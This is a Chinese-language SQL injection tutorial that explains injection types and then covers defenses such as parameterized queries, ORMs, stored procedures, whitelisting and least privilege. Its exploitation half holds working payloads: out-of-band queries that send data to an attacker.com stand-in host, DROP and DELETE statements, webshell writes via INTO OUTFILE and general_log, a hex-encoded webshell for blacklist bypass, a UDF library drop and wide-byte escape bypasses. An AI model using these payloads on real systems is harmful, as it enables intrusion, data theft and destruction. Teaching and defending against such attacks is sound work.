SQL注入漏洞(SQL injection)
漏洞原理:用户输入的字符串 被作为参数 直接拼接到SQL语句中.
# Vulnerable Code
"SELECT * FROM users WHERE name = '" + userName + "'";
# 正常用户 输入 Smith
"SELECT * FROM users WHERE name = 'Smith'";
# 攻击者A 输入 Smith’ OR '1' = '1
"SELECT * FROM users WHERE name = 'Smith' OR '1' = '1'";
# 则SQL语句如下 会返回users表中所有记录
SELECT * FROM users WHERE name = 'Smith' OR TRUE;
# 攻击者B 输入 Smith’ OR 1 = 1; --
"SELECT * FROM users WHERE name = 'Smith' OR 1 = 1; --'";
# 则SQL语句如下 会返回users表中所有记录
SELECT * FROM users WHERE name = 'Smith' OR TRUE;--';
# 攻击者C 输入 Smith’; DROP TABLE users; TRUNCATE audit_log; --
"SELECT * FROM users WHERE name = 'Smith’; DROP TABLE users; TRUNCATE audit_log; --'";
# 则SQL语句如下 会DROP整个users表(表本身也不存在了) 并 TRUNCATE整个audit_log表(表本身存在)
SELECT * FROM users WHERE name = 'Smith’; DROP TABLE users; TRUNCATE audit_log; --';
- 类型1 - "基于布尔的盲注"(boolean-based blind)
- 类型2 - "基于时间的盲注"(time-based blind)
- 类型3 - "基于报错的SQL注入"(error-based)
- 类型4 - "基于联合查询的SQL注入"(UNION query-based)
- 类型5 - "堆叠查询"(stacked queries)
- 类型6 - "带外"(out-of-band)
temp
基于时间的盲注(Time-Based Blind SQL Injection Attacks)原理:使用能够"延时"的函数 构造SQL语句 然后根据响应时长(响应时间间隔的数值大小)进行判断
- 攻击利用payload - 利用SQLi漏洞进行"数据获取"
- 方法1 利用"带外"方法 发出网络请求 以获取数据. 点击跳至理论类型6 - "带外"(out-of-band) 点击跳至实战案例
- 方法2 利用 "延时函数" 与 条件语法(Condition syntax) 得到True/False 逐个字符判断即可得到完整字符串值
- 利用条件:后端稳定(响应时间间隔稳定)
- "延时"函数
- MySQL "延时"函数
SLEEP(time)
如HTTP请求的payload为(select*from(select(sleep(20)))a)
得到response的时间为20秒 - MySQL "延时"函数
BENCHMARK(count, expr)
- SQL Server "延时"函数
WAIT FOR DELAY 'hh:mm:ss'
如SELECT * FROM users WHERE id=1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:05'
- SQL Server "延时"函数
WAIT FOR TIME 'hh:mm:ss'
- PostgresSQL "延时"函数
pg_sleep(5)
如SELECT CASE WHEN secret = 'secret' THEN pg_sleep(5) ELSE NULL END FROM apps WHERE id = 1 ;
- ...
- MySQL "延时"函数
参考 http://www.sqlinjection.net/time-based/
"基于报错的SQL注入"(error-based)原理:使错误消息中包含显示"所需数据",可以从数据库中直接提取敏感数据(而不是一次一个字符)
temp
堆叠查询(stacked queries)原理:通过分号分隔 实现执行多条SQL语句
- 攻击利用payload - 利用该漏洞"执行SQL语句" 操作数据
- 无害延时 MySQL
SELECT * FROM products WHERE productid=1; select sleep(3)
- 删除数据 MySQL
SELECT * FROM products WHERE productid=1; DELETE FROM products
- 修改数据 MySQL
SELECT * FROM products WHERE categoryid=1; UPDATE members SET password='pwd' WHERE username='admin'
- ...
- 无害延时 MySQL
"带外"(out-of-band) 原理:利用目标主机A的数据库的相关函数发出"含有数据的"网络请求到服务器B 服务器B可接收到数据.
各种"盲注"的检测不稳定或无效时,常常借助"带外"实现"回显"(数据传输)
- 攻击利用payload - 利用该漏洞"执行SQL语句" 操作数据
- 利用条件
- 1.具体数据库具体版本的具体函数 实测能够发出网络请求
- 2.目标主机A发出请求不被"网络限制"
- "带外"函数
- MySQL 发出DNS请求 -
SELECT LOAD_FILE(CONCAT('\\\\foo.',(select version()),'.attacker.com\\abc'));
- 基础概念: UNC(Universal Naming Convention)路径是指Windows系统中资源的完整路径 注意UNC的路径字符串有最大长度限制
- 利用条件:
LOAD_FILE
只支持Windows系统下的MySQL发出DNS请求,而Linux因为没有UNC
路径所以不能 - 注意转义: UNC名称一定以
\\
开头 如UNC名称\\servername\sharename
注意UNC名称中的每个\
在MySQL中必须转义为\\
- Oracle 发出HTTP请求 -
SELECT * FROM products WHERE id=1||UTL_HTTP.request('http://test.attacker.com/'||(SELECT user FROM DUAL)) --
- MSSQL 发出DNS请求 -
SELECT * FROM products WHERE id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --
扩展存储过程xp_dirtree
用于指定的文件夹的所有文件夹的列表 - ...
- MySQL 发出DNS请求 -
- 利用条件
SQLi漏洞的各种具体利用方式【漏洞危害】 - The SQL Injection Knowledge Base
- 数据泄露 - 通过"带外通道"获取数据(Out Of Band Channeling)
- DNS Requests
- MySQL
LOAD_FILE
函数可发出DNS请求
- MySQL
- SMB Requests
- MySQL -
INTO OUTFILE
可以发出SMB请求 如' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt
- MySQL -
- DNS Requests
- 数据删除
- MySQL
DELETE FROM some_table WHERE 1; --
- MySQL
- 绕过判断
- Auth Bypass:如web登录功能存在SQLi 使用"万能密码"实现Login Bypass
- 系统命令执行
- 获取系统shell - 通过MySQL 实战-利用mysql数据库的udf函数执行系统命令
- 前提条件:数据库进程(DBMS process)对目标文件夹具有文件读取、写入权限.
- 实现原理:上传一个二进制文件 共享库(shared library)到对应文件夹,它包含两个用户自定义函数(user-defined functions,UDF)用户自定义函数,其中有2个函数的作用是执行系统命令. 然后在数据库使用SQL语句 创建该函数 并调用该函数 即可执行系统命令.
- 获取系统shell - 通过Microsoft SQL Server
- 前提条件:
xp_cmdshell
扩展存储过程这一配置处于开启状态,或者可以被开启 - 利用过程:使用
xp_cmdshell
扩展存储过程(extended stored procedure),它是SQL Server的一个配置项,启用时能让SQL Server账号执行操作系统命令,返回文本行 - 如果
xp_cmdshell
存储过程 被禁用(Microsoft SQL Server >= 2005 默认禁用)sqlmap会重新启用它 - 如果
xp_cmdshell
存储过程 不存在 则从头开始创建它
- 前提条件:
- 获取系统shell - 通过MySQL 实战-利用mysql数据库的udf函数执行系统命令
- 文件读写 - 前提:当前数据库user有文件读写权限(数据库用户需要为高权限用户 且数据库配置中允许了文件读写权限)
- 读取文件(Reading Files)
- MySQL -
LOAD_FILE()
- 例1
SELECT LOAD_FILE('/etc/passwd');
- 例2
SELECT LOAD_FILE(0x2F6574632F706173737764);
- MySQL -
- 写入文件(Writing Files)
- MySQL -
select ... INTO OUTFILE
能导出多行数据 会做格式处理(在行末端写入新行 会转义某些符号) 二进制文件会被破坏 - MySQL -
select ... INTO DUMPFILE
只能导出一行数据 不做格式处理 导出二进制文件 内容完全不变 依旧可运行 - 例1 写入WebShell
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
访问WebShellhttp://localhost/shell.php?c=cat%20/etc/passwd
- 例2 Downloader
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
访问http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
- ...
- MySQL -
- 读取文件(Reading Files)
- 绕过方法
- sqlmap tamper - 用注释分割关键字
/**/
等 - HTTP参数污染(HTTP Parameter Pollution)
- ...
- sqlmap tamper - 用注释分割关键字
利用SQL注入写入webshell被拦截 - 如何绕过黑名单字符'
<
?
步骤1. 对"php代码"进行编码转换: hex <-> ascii
利用了数据库能够使用hex编码的特性
对webshell的"php代码"进行编码转换
ascii字符:
<?php @eval($_POST['cmd']);?>
编码为十六进制(hex)格式的数据: 在最前面加0x
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
步骤2. 对"SQL语句"进行编码转换: hex <-> ascii
利用了数据库能够使用hex编码的特性
ascii字符:
select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from xss limit 1 into outfile 'C:/shell.php'
编码为十六进制(hex)格式的数据: 在最前面加0x
0x73656c656374203078334333463730363837303230343036353736363136433238323435463530344635333534354232373633364436343237354432393342334633452066726f6d20787373206c696d6974203120696e746f206f757466696c652027433a2f7368656c6c2e70687027
步骤3. 使用数据库的set
创建变量 被"预编译语句"使用:
mysql> use xssdb;
Database changed
mysql> set @a=0x73656C6563742030783343334637303638373032303430363537363631364332
38323435463530344635333534354232373633364436343237354432393342334633452066726F6D
20787373206C696D6974203120696E746F206F757466696C652027433A2F7368656C6C2E70687027;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare tmp from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> execute tmp;
Query OK, 1 row affected (0.00 sec)
预编译原理
PREPARE statement_name FROM sql_text /*定义*/
EXECUTE statement_name [USING variable [,variable...]] /*填充实际变量值 执行预处理语句*/
DEALLOCATE PREPARE statement_name /*删除定义*/
如
mysql> PREPARE prod FROM "INSERT INTO examlple VALUES(?,?)";
mysql> SET @p='1';
mysql> SET @q='2';
mysql> EXECUTE prod USING @p,@q;
mysql> SET @name='3';
mysql> EXECUTE prod USING @p,@name;
mysql> DEALLOCATE PREPARE prod;
-
具体参考 BlackHat-US-13-Salgado SQLi Optimization and Obfuscation Techniques
-
减少判断次数 加速数据获取的算法:
- Bisection Method 即 Binary search algorithm("二分查找算法")
- Regex method 即 Divide-and-conquer algorithm("分治算法")
- Bitwise methods 即 Bisec4on method on REGEX
- Binary to posi4on (Bin2Pos)
最终减少了数据获取总时长.
# 自写脚本实现
test.get_version() #获取版本号
test.get_user_first() #获取数据库用户权限
test.get_user_count() #获取数据库用户数量
test.get_user_len() #获取数据库用户长度
test.get_user() #获取数据库当前用户名
test.get_db_count() #获取数据库数量
test.get_db_len() #获取数据库长度
test.get_database() #获取数据库名
test.get_table_len() #获取表名长度
test.get_table() #获取表名
test.get_columns_len() #获取字段名长度
test.get_columns() #获取字段名
test.get_content() #获取第一列第一个字段内容
# MySQL数据常用的查询语句 (实测支持MySQL 8.0.17)
# 查询mysql二进制文件的位置(安装后的文件夹的路径)
select @@basedir;
# 查询文件读写权限
SELECT @@global.secure_file_priv;
# 查询文件读写权限 如果是NULL会返回0 否则返回1
select IF((select(@@global.secure_file_priv)),1,0);
# 读取文件
select load_file("D:\web\config.php");
# 查询mysql plugin文件夹的路径 (可把自己的UDF二进制库文件 放到plugin文件夹中)
select @@plugin_dir;
# 查询数据库版本
SELECT @@global.version;
select version();
# 查询general_log的状态
# 方法1 结果为0或1 0即OFF 1即ON
SELECT @@global.general_log;
# 方法2 结果为ON或OFF
show variables like 'general_log';
# 查询general_log_file 日志文件的具体路径
# 方法1
SELECT @@global.general_log_file;
# 方法2
show variables like 'general_log_file';
# 查询MySQL的用户 密码
# MySQL低版本:
密码 加密方式为 password_str = concat('*', sha1(unhex(sha1(password))))
select host,user,password from mysql.user;
# MySQL高版本:
# 如 MySQL 8.0.17 空就是空密码
mysql> select User,Host,plugin,authentication_string from mysql.user;
+------------------+-----------+-----------------------+------------------------------------------------------------------------+
| User | Host | plugin | authentication_string |
+------------------+-----------+-----------------------+------------------------------------------------------------------------+
| mysql.infoschema | localhost | caching_sha2_password | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| mysql.session | localhost | caching_sha2_password | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| mysql.sys | localhost | caching_sha2_password | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| root | localhost | caching_sha2_password | |
+------------------+-----------+-----------------------+------------------------------------------------------------------------+
4 rows in set (0.00 sec)
# getshell方法1 : 写文件
# 前提 通常仅适用于 MySQL < 5.7 的版本
# 查询文件读写权限
SELECT @@global.secure_file_priv;
# 读文件
select load_file("D:\web\config.php");
# 写文件
select from_base64("base64的内容") into dumpfile "D:\mysql-5.6.41-winx64\lib\plugin\udf64.dll";
# getshell方法2 : 修改 日志文件的具体路径 general_log_file 的值, 实现写文件到任意目录.
# 优点: 【不用考虑】 文件读写权限 @@global.secure_file_priv (实测 MySQL 8.0.17 可写文件到多个目录)
# 前提: stacked queries类型SQLi漏洞 才支持"非select"语句.
# [WARNING] execution of non-query SQL statements is only available when stacked queries are supported
# 步骤1 修改变量值 开启general_log_file
set global general_log = "ON";
set global general_log_file='D:/web/test.php';
# 步骤2 做查询 可将以下查询语句 写入到日志文件
select '<?php eval($_POST[cmd]);?>';
# 访问web文件
http://vul.com/test.php
常见错误 - 写入文件失败
MySQL >= 5.7(可能更早的版本) 没有进行任何配置情况下secure_file_priv
的默认值为NULL
即禁止mysqld导入或导出.
所以即使是MySQL的root用户也无法读写文件. 报错为
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
查看当前环境中secure-file-priv
的值:
# 方法1
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set (0.00 sec)
# 方法2
mysql> SELECT @@global.secure_file_priv;
+---------------------------+
| @@global.secure_file_priv |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.00 sec)
修改secure_file_priv的值:
无法使用`set global`命令修改`secure_file_priv` 它是只读参数
mysql> set global secure_file_priv='';
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable
# 要修改secure_file_priv的值,必须修改配置文件 并重新启动`mysqld`之后 修改才能生效
# windows下的配置文件为 my.ini
# unix/linux/macOS 下的配置文件为my.cnf
#编辑该文件修改配置`sudo vim /etc/my.cnf`
# 默认设置1 没有进行任何配置情况下,`secure_file_priv`不存在,此时使用它的默认值`NULL` 即禁止mysqld导入或导出.
# 可选设置2 secure_file_priv="/tmp/" 表示mysqld只能在/tmp/目录下 导入或导出.
[mysqld]
secure_file_priv="/tmp/"
# 可选设置3 secure-file-priv = "" 表示mysqld可以在任意目录进行导入或导出.
[mysqld]
secure-file-priv = ""
为什么order by
无法使用"预编译语句"?
# MySQL:
# order by 子句的正常使用 如
select aid,adenname from sea_myad order by adenname;
# order by 子句之后的字段名 如果使用"预编译语句" 则字段名会被加上引号 从而order by子句"失效" 即不会对结果进行排序
select aid,adenname from sea_myad order by "adenname";
order by注入检测 - 基于布尔的注入
#条件语句,条件如果是执行第二个参数,否执行第三个参数
if(condition,true,false)
# 利用regexp
mysql> select aid,adenname from sea_myad order by (select 1 regexp if(1=1,1,0x00));
+-----+-------------------+
| aid | adenname |
+-----+-------------------+
| 1 | channel200x200bt |
| 2 | channel200x200top |
+-----+-------------------+
mysql> select aid,adenname from sea_myad order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
order by注入检测 - 基于报错的注入
# 报错方式1
mysql> select aid,adenname from sea_myad order by updatexml(1,if(1=1,user(),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
# 报错方式2
mysql> select aid,adenname from sea_myad order by extractvalue(1,if(1=1,user(),2));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
order by注入检测 - 基于时间的注入
# 有几条记录 就延时几秒
# 记录很多的情况下 不能使用这种方式
mysql> select aid,adenname from sea_myad order by if(1=1,sleep(1),2);
- MySQL的
limit
子句注入- 漏洞场景 - MySQL中 当
order by
之后跟了LIMIT
即二者一起使用时,注入点在limit
子句之后的位置,该场景无法使用union
语句进行联合查询. - 实际案例 -
SELECT freld FROM table WHERE id>0 ORDER BY id LIMIT injection_point
- 利用条件 - 5.0.0<MySQL版本<5.6.6 (MySQL版本>=5.7 无法利用. 因为
analyse()
的两个参数都只能为uint
类型)
- 漏洞场景 - MySQL中 当
# MySQL limit子句注入 利用方式1 - 基于报错的注入
# limit之后可以跟`analyse()`函数
# 报错函数 extractvalue()等
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1
procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
# MySQL limit子句注入 利用方式2 - 基于时间的注入
# limit之后可以跟`analyse()`函数
# 延时函数 实测只能用`benchmark` 而不能用`sleep`
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),
concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
# MySQL limit子句注入 利用方式3 - 写入文件
# 如果权限足够 可在`limit`之后跟`into`写入文件 得到webshell
# Hex <-> ASCII
# 3c3f7068702061737365727428245f504f53545b6173617361735d293b3f3e <-> <?php assert($_POST[asasas]);?>
SELECT 1 from mysql.user order by 1 limit 0,1 into outfile '/tmp/s.php' LINES TERMINATED BY 0x3c3f7068702061737365727428245f504f53545b6173617361735d293b3f3e;
- PostgreSQL的limit子句注入 可以回显(在MySQL下实测limit之后无法跟ascii函数 无法回显)
- 漏洞场景 - PostgreSQL中 当
order by
之后跟了LIMIT
即二者一起使用时,注入点在limit
子句之后的位置,该场景无法使用union
语句进行联合查询. - 实际案例 -
Select * from tbl_albums where page=2 order by album_date asc LIMIT 0,injection_point
- 使用ascii函数将substr函数返回的字符串转换为数字
Select * from tbl_albums where page=2 order by album_date asc LIMIT 0,ascii(substr((Select version()),1,1))
- 数据回显 - 通过SQL语句执行结果 常体现为页面某种元素的数量(0-127之间),从而计算得到ascii码 <-> 真实字符
- 漏洞场景 - PostgreSQL中 当
字符 | URL编码 | 描述 |
---|---|---|
\ |
%5c | 常用来转义"非法"字符 |
' | %27 | 常用来改变SQL语句 将"数据"变为"代码" |
- 关键概念
- addslashes函数:会进行转义 如将
'
变为\'
使单引号仅作为字符(数据) 而无法更改SQL语句(代码). - GBK编码:是GB2312编码的超集,向下完全兼容GB2312
- GBK编码取值范围:第一个字节129-254,第二个字节64-254
- addslashes函数:会进行转义 如将
- 测试过程(数据库使用了GBK编码)
- 输入 - 将payload中的单引号
%27
都替换为%df%27
以便利用宽字节特性绕过转义 - 转义 - 输入的数据
%df%27
经过addslashes函数转义后(单引号被反斜杠转义) 变为%df%5c%27
- 关键 - 从前向后解析 首先遇到2个字节
%df%5c
因为它符合了GBK编码取值范围 会被转成一个汉字運
从而使'
前的反斜杠\
被吃掉 - 执行 - 数据库使用了GBK编码
set names gbk
则得到運'
- 输入 - 将payload中的单引号
同理:更多变形参考GBK编码表
payload | 替换体 | GBK解码结果 |
---|---|---|
%27 | %df%27 | 運' |
%27 | %de%27 | 轡' |
%27 | %dd%27 | 輁' |
自动化:使用sqlmap的tamper脚本--tamper "unmagicquotes.py"
进行自动转换 %27
-> %df%27
字符 | UTF-8 (hex) | URL Escape Code | GBK编码 | Unicode Code Point |
---|---|---|---|---|
錦 | e98ca6(0xE9 0x8C 0xA6) | %E9%8C%A6 | 0xe55c | \u9326 |
-
测试过程(数据库使用了UTF-8字符集
set names UTF-8
)- 输入 - 将payload中的单引号
%27
都替换为%e5%5c%27
以便后续利用宽字节特性绕过转义 - 转义 - 输入的数据
%e5%5c%27
经过addslashes函数转义(反斜杠被反斜杠转义) 变为%e5%5c%5c%27
- 编码转换逻辑 - 为了使得SQL语句中的字符统一都是UTF-8编码的,web应用程序会将用户输入的GBK字符转为UTF-8字符,转换函数
iconv
或mb_convert_encoding
- 编码转换 - GBK字符
%e5%5c%5c%27
转换得到 UTF-8字符%e9%8c%a6%5c%5c%27
从前向后解析 因为%e9%8c%a6
为UTF字符錦
- 执行 - 语句中是
錦\\'
可见单引号不再是字符(数据) 能够改变SQL语句(代码)
- 输入 - 将payload中的单引号
-
宽字节注入的修复方案
- PHP 5 >= 5.2.3 - 使用
mysql_set_charset
php自带函数设置客户端的字符集(这是改变字符集的最佳方式),并使用mysql_real_escape_string
函数进行转义(此函数会考虑当前设置的字符集 不会出现宽字节注入) - PHP 7 - 移除了
mysql_set_charset
函数 只能通过以下2个扩展进行设置- 使用MySQLi扩展
mysqli_character_set_name()
函数 - 使用PDO: 添加 charset 到连接字符串 如
charset=utf8
- 使用MySQLi扩展
- PHP 5 >= 5.2.3 - 使用
- 0.使用成熟的ORM框架
对象-关系映射(Object-Relational Mapping,ORM) 主要实现了面向对象编程中的"对象"到"关系数据库数据"的映射,正确使用成熟的ORM框架考可避免SQL注入
语言 | ORM框架 |
---|---|
Java | Hibernate |
python | SQLAlchemy |
golang | xorm |
- 1.使用带有"参数化查询"的"预编译语句"
"参数化查询"(Parameterized Query / Parameterized Statement)的原理:强制开发人员预先定义好所有SQL语句(留空待填) 应用程序将"实际参数"传入并查询.
这种编码风格使数据库能够区分"代码"和"数据".
不同语言的防御方案如下.
PHP - Laravel框架的 Eloquent ORM
PHP - 原生使用PDO(PHP Data Objects) 支持任意数据库
// PDO常用函数
// PDOStatement::bindColumn — Bind a column to a PHP variable
// PDOStatement::bindParam — Binds a parameter to the specified variable name bindParam()方法 可进行 强类型参数化查询(strongly typed parameterized queries)
// PDOStatement::bindValue — Binds a value to a parameter
// 实例化数据抽象层对象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 对 SQL 语句执行 prepare,得到 PDOStatement 对象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 绑定参数
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查询
$stmt->execute();
// 输出数据
foreach($stmt as $row) {
var_dump($row);
}
PHP - 使用MySQLi扩展 (仅支持MySQL数据库)
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
.NET
// "参数化查询"
// 如 使用带有"绑定变量"的SqlCommand()函数 OleDbCommand()函数
String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));
OleDbDataReader reader = command.ExecuteReader();
// …
} catch (OleDbException se) {
// error handling
}
JAVA - 原生函数
// 预编译语句PreparedStatement() 需要和"参数绑定"一起使用
// This should REALLY be validated too
String custname = request.getParameter("customerName");
// Perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
JAVA - Hibernate框架的.createQuery()
函数与.setParameter()
// Hibernate Query Language (HQL) - Prepared Statement
// 在Hibernate中,绑定变量(bind variables) 被称为 "Named Parameters"
//不安全的HQL语句查询
//First is an unsafe HQL Statement
Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");
//安全的HQL语句查询
//Here is a safe version of the same query using named parameters
Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);
SQLite
sqlite3_prepare()
Golang
// 对Postgres数据库
// This is for Postgres. Other SQL variants may use the ? character.
db.Exec("INSERT INTO users(name, email) VALUES($1, $2)",
"Jon Calhoun", "jon@calhoun.io")
// 对mysql数据库
// http://mindbowser.com/golang-go-database-sql/
package main
import (
_ "github.com/go-sql-driver/mysql"
"database/sql"
"log"
)
func main(){
db, err := sql.Open("mysql", "root:root@tcp(127.0.0.1:3306)/employeedb")
// Connection Pooling methods
db.SetConnMaxLifetime(500)
db.SetMaxIdleConns(50)
db.SetMaxOpenConns(10)
db.Stats()
if err != nil {
log.Fatal(err)
}
tx,_:=db.Begin()
stmt, err := tx.Prepare("INSERT INTO user(id,username) VALUES(?,?)")
res,err:=stmt.Exec(4,"Abhijit")
res,err=stmt.Exec(5,"Yogesh")
if err!=nil{
tx.Rollback()
log.Fatal(err)
}
tx.Commit()
log.Println(res)
}
- 2.存储过程
存储过程的安全性高,和预编译语句相同
存储过程使用的"SQL代码"定义和存储在数据库中,使用时被应用程序调用
如果使用了存储过程,开发者必须避免在存储过程中生成"不安全的动态SQL查询语句"
//JAVA中使用存储过程,该存储过程已经定义在数据库中:
String custname = request.getParameter("customerName");
try {
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
} catch (SQLException se) {
}
- 3.白名单输入验证(White List Input Validation)
如order by
和limit
子句,无法使用"绑定变量"(bind variable),就需要"白名单输入验证"
思路:判断用户传递的值 是否为该表中的其中一个列名.
hibernate框架 防御排序注入(order by)原理:判断用户传递的值是否为实体类的属性.
- 4.数据库用户权限最小化(Least Privilege)